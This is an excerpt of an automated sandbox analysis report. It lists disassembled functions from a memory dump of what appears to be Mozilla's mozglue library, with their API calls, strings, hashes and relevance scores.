API String ID: 2595878907-3839883404
Opcode ID: 03561626bea0e251f0d3c3f162850e1fc73dceb2635f82654c5f836e4fe56ca0
Instruction ID: 6b9993fa5365864a049c41bd96603409858e4771028af93ad0228f1cd31d0b75
Opcode Fuzzy Hash: 03561626bea0e251f0d3c3f162850e1fc73dceb2635f82654c5f836e4fe56ca0
Instruction Fuzzy Hash: 9541B2307087909FE721DF28D985A9BBBF4EF44318F504A1CF59183650EB30E989CB96

Function 6CB374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CB37526
__Init_thread_footer.LIBCMT ref: 6CB37566
__Init_thread_footer.LIBCMT ref: 6CB37597

Strings

UnmapViewOfFile2, xrefs: 6CB37552
kernel32.dll, xrefs: 6CB37557

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 565d340e6cd476fd02d423b28d93bea832594522e5b6fd34d1a221e5bfbed59b
Instruction ID: b47c3976392f64a9d7b7a573f562c2e7a339af7c4ed87ab437450319430f6411
Opcode Fuzzy Hash: 565d340e6cd476fd02d423b28d93bea832594522e5b6fd34d1a221e5bfbed59b
Instruction Fuzzy Hash: 7F2149357005D1EFCB188FE9C914E5E7775EB5A334F451528E40A67F80C770B811CAA6

Function 6CB3C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB3C0E9), ref: 6CB3C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CB3C437
FreeLibrary.KERNEL32(?,6CB3C0E9), ref: 6CB3C44C

Strings

NtQueryVirtualMemory, xrefs: 6CB3C431
ntdll.dll, xrefs: 6CB3C413

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 53cf3975d7b3d1c1c09eb69606e4ac82c1d61bd8b7c882caf86f7fa7348233ed
Instruction ID: f92bcb3dfa6b433161a4ad25e3caf8b37cd3b4e66ecbb4330a3a40257e916b53
Opcode Fuzzy Hash: 53cf3975d7b3d1c1c09eb69606e4ac82c1d61bd8b7c882caf86f7fa7348233ed
Instruction Fuzzy Hash: FDE0B674706351DBDF007F71D908B15BBF8F706216F88961AAA0993700EBF2D4158B51

Function 6CB375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB3748B,?), ref: 6CB375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CB375D7
FreeLibrary.KERNEL32(?,6CB3748B,?), ref: 6CB375EC

Strings

ntdll.dll, xrefs: 6CB375B3
RtlNtStatusToDosError, xrefs: 6CB375D1

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 02f1dabfedba7997ed6801c6ff389065f5c8f0c99295c0e2c1394741bf4fa081
Instruction ID: 06db0216b073315f6971d18f441214ebce5c3e416960dbd13a10ec623c956318
Opcode Fuzzy Hash: 02f1dabfedba7997ed6801c6ff389065f5c8f0c99295c0e2c1394741bf4fa081
Instruction Fuzzy Hash: 29E0B675700341EFEF046FA2D948702BBF8EB16218FA45429AE05E3680EBB09452CF51

Function 6CB37600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB37592), ref: 6CB37608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CB37627
FreeLibrary.KERNEL32(?,6CB37592), ref: 6CB3763C

Strings

NtUnmapViewOfSection, xrefs: 6CB37621
ntdll.dll, xrefs: 6CB37603

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 81bf060845c48bb5aafeab9120d49ae4200569b4bcaeee6bb0fe96719da516a5
Instruction ID: 830d649348f9f602d9dd4a334031a68addcaa767baf07ed3f906a5fd60b00097
Opcode Fuzzy Hash: 81bf060845c48bb5aafeab9120d49ae4200569b4bcaeee6bb0fe96719da516a5
Instruction Fuzzy Hash: B7E0B6B4740381AFDF006FA6D908702BFB8F72A369F945919EA09E3740E7B090118F15

Function 6CB28E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CB1B58D,?,?,?,?,?,?,?,6CB4D734,?,?,?,6CB4D734), ref: 6CB28E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB1B58D,?,?,?,?,?,?,?,6CB4D734,?,?,?,6CB4D734), ref: 6CB28EBF
free.MOZGLUE(?,?,?,?,6CB1B58D,?,?,?,?,?,?,?,6CB4D734,?,?,?), ref: 6CB28F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB1B58D,?,?,?,?,?,?,?,6CB4D734,?,?,?,6CB4D734), ref: 6CB28F46
free.MOZGLUE(?,?,?,?,6CB1B58D,?,?,?,?,?,?,?,6CB4D734,?,?,?), ref: 6CB28F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB1B58D,?,?,?,?,?,?,?,6CB4D734,?,?,?), ref: 6CB28F8F

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: a7f443043d01c048e991652c1ad08e641d7011f9f43a939b443edb73e42ad820
Instruction ID: a82fae083d6782fb077753f6ff27a488b914cd33a0663dea5c07a764904d3c0e
Opcode Fuzzy Hash: a7f443043d01c048e991652c1ad08e641d7011f9f43a939b443edb73e42ad820
Instruction Fuzzy Hash: F151A5B2A012558FEF24CF54D8807AE77B6FF48314F19092AD51AAB740E736F905CB92

Function 6CAD4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAD4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAD4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAD4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAD4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CAD4F1E

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 91d5da6a1abd9be33b62e365c95959dd912ddc02a32128297ef9e55b4a1e363e
Instruction ID: 680b7aa84bb9f189e9aa3814b273650ec0d6f89064e523ce7287b4da746d6454
Opcode Fuzzy Hash: 91d5da6a1abd9be33b62e365c95959dd912ddc02a32128297ef9e55b4a1e363e
Instruction Fuzzy Hash: 7D41CF71608702AFC705CF29C48099BBBF4BF89344F158A2DF4A597651DB30F998CB92

Function 6CAE1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CAE152B,?,?,?,?,6CAE1248,?), ref: 6CAE159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAE152B,?,?,?,?,6CAE1248,?), ref: 6CAE15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CAE152B,?,?,?,?,6CAE1248,?), ref: 6CAE15E7
free.MOZGLUE(?,?,?,?,?,?,6CAE152B,?,?,?,?,6CAE1248,?), ref: 6CAE1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CAE152B,?,?,?,?,6CAE1248,?), ref: 6CAE1637

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 6d3bf2b5de4cc72c8cc022a0dcba8f5512c1fbe512a818680255c874bb7a5085
Instruction ID: 1609c5432b4e081f50764baacd61cadcdb02039dc05cae18d66698ab6b0ffc27
Opcode Fuzzy Hash: 6d3bf2b5de4cc72c8cc022a0dcba8f5512c1fbe512a818680255c874bb7a5085
Instruction Fuzzy Hash: 0431F8B1A001248BCB148F7CD8504BE77E5BB893647290B2DE527DBBD5EB30D98497D1

Function 6CB3AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CB4E330,?,6CAFC059), ref: 6CB3AD9D

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CB4E330,?,6CAFC059), ref: 6CB3ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CB4E330,?,6CAFC059), ref: 6CB3AE01
GetLastError.KERNEL32(?,00000000,?,?,6CB4E330,?,6CAFC059), ref: 6CB3AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CB4E330,?,6CAFC059), ref: 6CB3AE3D

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 23967f814accaa885a143f3cf978f571084a7f78dc1b6f58720d4609c13c5fdb
Instruction ID: d795d56bdb0b2bf4766478036766df979cff1b22894ccde63b0509c3d0317d9d
Opcode Fuzzy Hash: 23967f814accaa885a143f3cf978f571084a7f78dc1b6f58720d4609c13c5fdb
Instruction Fuzzy Hash: 313132B1A002659FDB10DF768D44AAFBBF8EF49614F65882DE85AD7740E734D804CBA0

Function 6CB35EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CB4DCA0,?,?,?,6CB0E8B5,00000000), ref: 6CB35F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CB0E8B5,00000000), ref: 6CB35F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CB0E8B5,00000000), ref: 6CB35F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CB0E8B5,00000000), ref: 6CB35F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CB0E8B5,00000000), ref: 6CB35FD6

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: db5f496dd55c2993f0b6481033b7dba71b3160a31fe54697eac6cedb5cb1f4ac
Instruction ID: 1c483d806a276c1df10fb8ac10e9d81e42226785c1570f2043072415836a5d9f
Opcode Fuzzy Hash: db5f496dd55c2993f0b6481033b7dba71b3160a31fe54697eac6cedb5cb1f4ac
Instruction Fuzzy Hash: CA312D343006508FDB10CF29C898E2AB7F9FF89319BA45558F55A8BB95C731EC45CB85

Function 6CADB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CADB532
moz_xmalloc.MOZGLUE(?), ref: 6CADB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CADB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CADB57E
free.MOZGLUE(00000000), ref: 6CADB58F

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 61aa1731f50d38a2fa627b36563a1e024cf28d07f11ca8a1cd10318b9fe02c4f
Instruction ID: 66f36dd2e2bf9df740024e0a2b75166dffa22a9bef652f3a69561272f0238200
Opcode Fuzzy Hash: 61aa1731f50d38a2fa627b36563a1e024cf28d07f11ca8a1cd10318b9fe02c4f
Instruction Fuzzy Hash: F0210771A00205DBDB008F69DC40BBEBBB9FF46304F294129E819DB341E775E955C7A0

Function 6CB376C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CB376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CB37705

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB37717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CB3778F,00000000,00000000,00000000,00000000), ref: 6CB37731
free.MOZGLUE(00000000), ref: 6CB37760

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 5fa80340c94bd0d30561e76ffdc5457f3f75fe6f814a5fa36ccdaa92670113a7
Instruction ID: d3829da760ccf3cfb21cd59c10614932de16b17f0ffb3351bdd1af0c00fcce1d
Opcode Fuzzy Hash: 5fa80340c94bd0d30561e76ffdc5457f3f75fe6f814a5fa36ccdaa92670113a7
Instruction Fuzzy Hash: 2111C4B1904365ABEB10AF768D44BABBEF8EF55354F144429F84CE7300E771884487E2

Function 6CB10D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CAD3DEF), ref: 6CB10D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CAD3DEF), ref: 6CB10D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CAD3DEF), ref: 6CB10DAF

Strings

<jemalloc>, xrefs: 6CB10D92, 6CB10DB9
: (malloc) Error in VirtualFree(), xrefs: 6CB10D97, 6CB10DBE

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: bc1b0f5d4908f247b5f239991e623b3be9ba8cf58beb6a7a70800b3deab9adc0
Instruction ID: 3f1672b0ecfa191bca6d832a20701563fd16db7f776543f45405e2ee94794e23
Opcode Fuzzy Hash: bc1b0f5d4908f247b5f239991e623b3be9ba8cf58beb6a7a70800b3deab9adc0
Instruction Fuzzy Hash: FDF0A5713983E423D9201D656C0AFEA355DE7C1B55F744136FA14DFDC0DA51E8304655

Function 6CB27620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CB275C4,?), ref: 6CB2762B

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CB274D7,6CB315FC,?,?,?), ref: 6CB27644
GetCurrentThreadId.KERNEL32 ref: 6CB2765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB274D7,6CB315FC,?,?,?), ref: 6CB27663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB274D7,6CB315FC,?,?,?), ref: 6CB27677

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: c652fd2751bf80611fc9e97ad92a5f612da0dc104c617d4011619594ad18236f
Instruction ID: 2c56f36005b9a62644b9fc304d7b65c2b91c17f2e1fe13ddcccdc7c79481d5b4
Opcode Fuzzy Hash: c652fd2751bf80611fc9e97ad92a5f612da0dc104c617d4011619594ad18236f
Instruction Fuzzy Hash: B2F0C271E10785ABD7009F21C888676B778FFEA259F114316F90453601E7B0A5D08BD0

Function 6CAFD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CB0CBE8: GetCurrentProcess.KERNEL32(?,6CAD31A7), ref: 6CB0CBF1
Part of subcall function 6CB0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAD31A7), ref: 6CB0CBFA

EnterCriticalSection.KERNEL32(6CB5E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD4F2
LeaveCriticalSection.KERNEL32(6CB5E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD50B

Part of subcall function 6CADCFE0: EnterCriticalSection.KERNEL32(6CB5E784), ref: 6CADCFF6
Part of subcall function 6CADCFE0: LeaveCriticalSection.KERNEL32(6CB5E784), ref: 6CADD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD52E
EnterCriticalSection.KERNEL32(6CB5E7DC), ref: 6CAFD690
LeaveCriticalSection.KERNEL32(6CB5E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD751

Strings

MOZ_CRASH(), xrefs: 6CAFD4BB

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: b57dd2a43df21894766767bca04762419375e3cc9c71097dce8b5885e02dca1b
Instruction ID: 7fe05e4406dad5b2967dc0d571e58786c1f7ec51760a623c9e51a2c1e841def3
Opcode Fuzzy Hash: b57dd2a43df21894766767bca04762419375e3cc9c71097dce8b5885e02dca1b
Instruction Fuzzy Hash: FF512271F047858FD755CF28C09075ABBE1EB89304F984A2EE5AAC7B84D730E841CB92

Function 6CB24630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB24721

Strings

-%llu, xrefs: 6CB24733
., xrefs: 6CB2476A
profiler-paused, xrefs: 6CB246E4

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 962e1a1091aea55ffe039d46d3b345a26a2a381e36f8dc5650063875ab3e47e9
Instruction ID: 80b2df4f3b0058effd027dc78e873752c80cd11e72d13510ac315e73d0390e98
Opcode Fuzzy Hash: 962e1a1091aea55ffe039d46d3b345a26a2a381e36f8dc5650063875ab3e47e9
Instruction Fuzzy Hash: 0D418771F087489BCB09DF78E84116EBBE5EF85344F10863DE859ABB91EB3498448B42

Function 6CB246E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB24721

Part of subcall function 6CAD4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CB13EBD,00000017,?,00000000,?,6CB13EBD,?,?,6CAD42D2), ref: 6CAD4444

Strings

-%llu, xrefs: 6CB24733
., xrefs: 6CB2476A
profiler-paused, xrefs: 6CB246E4

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
